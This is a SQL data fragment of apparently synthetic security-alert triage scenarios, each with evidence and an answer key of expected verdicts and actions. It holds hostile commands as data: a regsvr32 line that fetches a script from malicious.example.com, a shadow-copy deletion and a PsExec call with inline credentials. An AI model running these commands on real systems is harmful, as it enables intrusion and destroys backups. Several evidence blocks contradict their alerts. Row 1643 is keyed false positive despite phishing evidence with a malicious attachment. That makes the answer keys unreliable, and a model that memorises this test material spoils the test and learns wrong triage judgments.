(1639, 'Unusual Network Traffic: Potential False Positive', 'medium', 'Firewall', 'Anomalous network traffic was detected, possibly related to legitimate software updates.', 'Suspicious Activity', 'T1071', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T10:12:10Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.110\",\"dst_ip\":\"198.51.100.101\",\"username\":\"update_user\",\"hostname\":\"update-client\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-15 19:33:43', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.101\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"IP associated with trusted software update services.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.110\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of a client machine performing updates.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"suspicious_activity\",\"analysis_notes\":\"The network traffic appears to be related to legitimate software updates, not malicious activity.\"}', 'Advanced', 'IR', 7, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1640, 'Unauthorized PsExec Execution Detected', 'high', 'FTK', 'PsExec was used to execute a process on a remote host, indicating potential lateral movement.', 'Lateral Movement', 'T1569', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T08:37:29Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.120\",\"dst_ip\":\"192.168.1.125\",\"username\":\"hacker_user\",\"hostname\":\"compromised-pc\",\"request_body\":\"\",\"command_line\":\"psexec.exe \\\\\\\\192.168.1.125 -u admin -p password notepad.exe\"}', '2026-03-15 19:33:43', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"psexec.exe \\\\\\\\192.168.1.125 -u admin -p password notepad.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"PsExec used for remote execution in lateral movement attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.120\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of the compromised machine.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.125\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of the targeted machine.\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"PsExec is indicative of lateral movement within the network, used here to execute commands on a remote server.\"}', 'Advanced', 'IR', 7, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.845Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:37:29Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.120\\\",\\\"dst_ip\\\":\\\"192.168.1.125\\\",\\\"username\\\":\\\"hacker_user\\\",\\\"hostname\\\":\\\"compromised-pc\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.125 -u admin -p password notepad.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.845Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:37:29Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.120\\\",\\\"dst_ip\\\":\\\"192.168.1.125\\\",\\\"username\\\":\\\"hacker_user\\\",\\\"hostname\\\":\\\"compromised-pc\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.125 -u admin -p password notepad.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.845Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:37:29Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.120\\\",\\\"dst_ip\\\":\\\"192.168.1.125\\\",\\\"username\\\":\\\"hacker_user\\\",\\\"hostname\\\":\\\"compromised-pc\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.125 -u admin -p password notepad.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.845Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:37:29Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.120\\\",\\\"dst_ip\\\":\\\"192.168.1.125\\\",\\\"username\\\":\\\"hacker_user\\\",\\\"hostname\\\":\\\"compromised-pc\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.125 -u admin -p password notepad.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.845Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:37:29Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.120\\\",\\\"dst_ip\\\":\\\"192.168.1.125\\\",\\\"username\\\":\\\"hacker_user\\\",\\\"hostname\\\":\\\"compromised-pc\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.1.125 -u admin -p password notepad.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1641, 'False Positive: Legitimate Use of MSHTA', 'low', 'KAPE', 'MSHTA.exe execution detected, but upon investigation, it was used for legitimate automation tasks.', 'Suspicious Activity', 'T1218', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T09:45:23Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.130\",\"dst_ip\":\"\",\"username\":\"automation_user\",\"hostname\":\"automation-pc\",\"request_body\":\"\",\"command_line\":\"mshta.exe \\\"http://intranet.example.com/automation.hta\\\"\"}', '2026-03-15 19:33:43', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"mshta.exe \\\"http://intranet.example.com/automation.hta\\\"\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"HTA used for legitimate automation tasks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.130\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of the automation machine.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"suspicious_activity\",\"analysis_notes\":\"MSHTA was utilized for a legitimate purpose, related to internal automation, not malicious activity.\"}', 'Advanced', 'IR', 7, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.847Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:45:23Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.130\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"automation_user\\\",\\\"hostname\\\":\\\"automation-pc\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"mshta.exe \\\\\\\"http://intranet.example.com/automation.hta\\\\\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.847Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:45:23Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.130\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"automation_user\\\",\\\"hostname\\\":\\\"automation-pc\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"mshta.exe \\\\\\\"http://intranet.example.com/automation.hta\\\\\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.847Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:45:23Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.130\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"automation_user\\\",\\\"hostname\\\":\\\"automation-pc\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"mshta.exe \\\\\\\"http://intranet.example.com/automation.hta\\\\\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.847Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:45:23Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.130\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"automation_user\\\",\\\"hostname\\\":\\\"automation-pc\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"mshta.exe \\\\\\\"http://intranet.example.com/automation.hta\\\\\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.847Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:45:23Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.130\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"automation_user\\\",\\\"hostname\\\":\\\"automation-pc\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"mshta.exe \\\\\\\"http://intranet.example.com/automation.hta\\\\\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1642, 'Suspicious Network Connection Detected', 'high', 'Splunk', 'A network connection to a known C2 server was detected from an internal machine, suggesting potential compromise.', 'Malware', 'T1071', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T15:42:31Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.140\",\"dst_ip\":\"203.0.113.102\",\"username\":\"malicious_user\",\"hostname\":\"infected-pc\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-15 19:33:43', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.102\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"Known C2 server IP involved in multiple malware campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.140\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of the compromised machine.\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The connection to a known C2 server indicates a compromise and potential malware activity.\"}', 'Advanced', 'IR', 7, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.849Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:42:31Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.140\\\",\\\"dst_ip\\\":\\\"203.0.113.102\\\",\\\"username\\\":\\\"malicious_user\\\",\\\"hostname\\\":\\\"infected-pc\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.849Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:42:31Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.140\\\",\\\"dst_ip\\\":\\\"203.0.113.102\\\",\\\"username\\\":\\\"malicious_user\\\",\\\"hostname\\\":\\\"infected-pc\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.849Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:42:31Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.140\\\",\\\"dst_ip\\\":\\\"203.0.113.102\\\",\\\"username\\\":\\\"malicious_user\\\",\\\"hostname\\\":\\\"infected-pc\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.849Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:42:31Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.140\\\",\\\"dst_ip\\\":\\\"203.0.113.102\\\",\\\"username\\\":\\\"malicious_user\\\",\\\"hostname\\\":\\\"infected-pc\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.849Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T15:42:31Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.140\\\",\\\"dst_ip\\\":\\\"203.0.113.102\\\",\\\"username\\\":\\\"malicious_user\\\",\\\"hostname\\\":\\\"infected-pc\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1643, 'False Positive: Legitimate Email Forwarding Detected', 'low', 'Proofpoint', 'An email was forwarded to an external account, but investigation reveals it\'s an approved business practice.', 'Phishing', 'T1566', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T12:30:14Z\",\"event_type\":\"email_received\",\"src_ip\":\"192.168.1.150\",\"dst_ip\":\"\",\"username\":\"user@example.com\",\"hostname\":\"mail-server\",\"request_body\":\"\",\"command_line\":\"\",\"email_sender\":\"user@example.com\",\"url\":\"\"}', '2026-03-15 19:33:43', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"user@example.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"clean\",\"details\":\"Email forwarding is part of approved business workflow.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.150\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of the mail server.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email forwarding activity is legitimate and part of regularly monitored business practices.\"}', 'Advanced', 'IR', 7, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"False Positive: Legitimate Email Forwarding Detected\",\"date\":\"2026-03-15T20:58:15.851Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1644, 'Malware Execution via Regsvr32', 'critical', 'Velociraptor', 'Regsvr32 was used to execute a remote script from a known malicious domain, indicating potential malware installation.', 'Malware', 'T1218', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T14:18:47Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.160\",\"dst_ip\":\"\",\"username\":\"compromised_user\",\"hostname\":\"infected-workstation\",\"request_body\":\"\",\"command_line\":\"regsvr32.exe /s /n /u /i:http://malicious.example.com/shell.sct scrobj.dll\"}', '2026-03-15 19:33:43', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"regsvr32.exe /s /n /u /i:http://malicious.example.com/shell.sct scrobj.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Regsvr32 used to execute a script from a malicious domain.\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious.example.com/shell.sct\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Malicious script hosted on this domain.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.160\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of the compromised workstation.\"}}],\"expected_actions\":[\"block_url\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Regsvr32 is being exploited to execute a remote script, indicative of malware installation.\"}', 'Advanced', 'IR', 7, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.852Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:18:47Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.160\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"hostname\\\":\\\"infected-workstation\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"regsvr32.exe /s /n /u /i:http://malicious.example.com/shell.sct scrobj.dll\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.852Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:18:47Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.160\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"hostname\\\":\\\"infected-workstation\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"regsvr32.exe /s /n /u /i:http://malicious.example.com/shell.sct scrobj.dll\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.852Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:18:47Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.160\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"hostname\\\":\\\"infected-workstation\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"regsvr32.exe /s /n /u /i:http://malicious.example.com/shell.sct scrobj.dll\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.852Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:18:47Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.160\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"hostname\\\":\\\"infected-workstation\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"regsvr32.exe /s /n /u /i:http://malicious.example.com/shell.sct scrobj.dll\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.852Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:18:47Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.1.160\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"hostname\\\":\\\"infected-workstation\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"regsvr32.exe /s /n /u /i:http://malicious.example.com/shell.sct scrobj.dll\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(1645, 'Unusual File Deletion Pattern Detected', 'high', 'FTK', 'A large number of volume shadow copies were deleted, often seen in preparation for ransomware encryption.', 'Malware', 'T1490', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T17:10:05Z\",\"event_type\":\"file_deletion\",\"src_ip\":\"192.168.1.170\",\"dst_ip\":\"\",\"username\":\"malicious_actor\",\"hostname\":\"backup-server\",\"request_body\":\"\",\"command_line\":\"vssadmin delete shadows /all /quiet\"}', '2026-03-15 19:33:43', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"vssadmin delete shadows /all /quiet\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Command used to delete volume shadow copies in ransomware attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.170\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of the server executing deletion.\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The deletion of volume shadow copies is a well-known precursor to ransomware encryption.\"}', 'Advanced', 'IR', 7, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.855Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T17:10:05Z\\\",\\\"event_type\\\":\\\"file_deletion\\\",\\\"src_ip\\\":\\\"192.168.1.170\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"malicious_actor\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"vssadmin delete shadows /all /quiet\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.855Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T17:10:05Z\\\",\\\"event_type\\\":\\\"file_deletion\\\",\\\"src_ip\\\":\\\"192.168.1.170\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"malicious_actor\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"vssadmin delete shadows /all /quiet\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.855Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T17:10:05Z\\\",\\\"event_type\\\":\\\"file_deletion\\\",\\\"src_ip\\\":\\\"192.168.1.170\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"malicious_actor\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"vssadmin delete shadows /all /quiet\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.855Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T17:10:05Z\\\",\\\"event_type\\\":\\\"file_deletion\\\",\\\"src_ip\\\":\\\"192.168.1.170\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"malicious_actor\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"vssadmin delete shadows /all /quiet\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.855Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T17:10:05Z\\\",\\\"event_type\\\":\\\"file_deletion\\\",\\\"src_ip\\\":\\\"192.168.1.170\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"malicious_actor\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"vssadmin delete shadows /all /quiet\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
